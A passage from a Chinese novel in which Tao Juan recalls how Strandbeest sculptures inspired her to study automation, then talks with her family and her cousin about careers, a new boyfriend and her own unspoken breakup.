“我一下就入迷了!先是到处去查那个会自己走的动物骨架是什么,原来它是‘仿生兽’,是一个荷兰的科学家——也可以说是艺术家造出来的,利用风能和动能在沙滩上自动行走,他造出来它们,是为了阻止海岸侵蚀,仿生兽的原词是strandbeest,沙滩动物,它们在沙滩上行走,把沙子重新踢回海滩,只靠风力和动能驱动,骨骼是用竹管做的,用cable tie连结……”
“再后来,我想弄清楚它为什么可以自动行走,它
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的‘腿’为什么要那样设计,有没有其他的设计方法?”
“创造它们的科学家经过了很多次失败,他设计了一个算法程序,有一组数字,13个数字,行走的秘密就是这13个数字,这组数字是用穷极法算出来的……”
陶涓上一次跟人讲仿生兽和13个神圣数字是很多年的事,她记得当时自己也是这么说的,“我也想创造出来这么厉害的东西,我一直很喜欢也很擅长数学,我的动手能力也不错——我在网上找到仿生兽的制作方法,真的做出来了一个最简易的——”
她吸了口气,“那种成就感……那一刻我就知道我要学什么专业了,或者说,我想学的专业,方向是什么……”
“自动化!”林溪小声揭秘,然后有点担忧,“可是,姐,我到现在还不知道自己擅长什么喜欢什么,那怎么办?”
“那就先选理科,理科转文科要比文科转理科容易,然后就继续试错,不怕犯错,慢慢找,慢慢发现呗。”陶涓跟她开玩笑,“实在不行还能回家继承家业呢!”
林家的生意在林爸接手后做得更大了,林溪就算当个败家二世祖也能舒舒服服过完一辈子。
宋靖耘在门外敲了敲门,“吃饭了!”
下楼去饭厅时林溪搂着妈妈的腰,她把下巴搁在妈妈颈窝,一步一步拖着走,她已经比宋靖耘高很多了,可还像个小鹦鹉贴在妈妈身边。
陶涓跟在她们后面,微微失神。
有时很难不羡慕林溪。
吃完饭,又陪着一家人看了会儿电视,陶涓说自己还要回去,因为和美国的同事要线上会议。
林爸让保姆去叫司机,宋靖耘说不用,“我送她。”
母女俩在车上有一搭没一搭说着话,很快到了大舅家楼下。
宋靖耘停下车,有些迟疑地问:“涓涓,你和周测……是不是遇到什么问题了?这几年你很少提起他,怎么了?”
陶涓看着母亲,很想就这么告诉她他们早已分手,正要开口,忽然有人敲了敲车窗,是大舅。
于是这话又没说成。
这天晚上陶涓和表姐像小时候一样睡一起,她们的房间和大学宿舍有点像,两张挨着墙放的上下床,上面是床,下面放书桌和衣柜。
宋牧谣说她有了新男友。
那年分手后,她主动要求调职到青甘油气田。
那里条件艰苦,但每个月加上补助能有快两万块钱,能多赚点钱还能离碎嘴亲戚们远远的,可能也有对她父亲的怨气。
她这新男友家是新疆的,长得比前男友还更帅些,陶涓还以为是少数民族,宋牧谣说不是,“他爸妈都是汉族,内地去的兵团战士……”
“你对人家是认真的吗?”陶涓接收表姐发给她的一系列男友靓照,刷刷划过去,“这镜头语言,直白的凝视啊!”
“什么认真不认真啊,我只是犯了所有女人都会犯的错误。”
两姐妹一起笑了会儿,宋牧谣说:“你不知道我们那有多大多荒凉,我每天开着车去检查管道设备,整片的地,开上半小时,一个人都看不见。我的车,我的工作服,全是橙色的,为什么?出了事用直升机搜索容易找到。”
言下之意,这种地方不及时行乐熬不下去。
“那你俩商量过以后怎么样吗?”
“肯定说过呀!我们这种危险工种,到45岁就能退休了,我可不会一辈子呆在那种几十公里一个鸟都没的地方,咱家水果店还等着我回来继承呢!”
陶涓刚一乐,又听到表姐幽幽说,“他也想回自己的家,陪自己的爸妈。我不勉强他跟我来滨市,他也别期待我跟他去他老家。嗐,今朝有酒今朝醉吧。”
陶涓放下手机,不管照片里紧紧相拥的两个人笑得多甜蜜,都不想为对方做让步。
她想到了周测。
啊,男人。
他们习惯了不为爱情牺牲任何东西。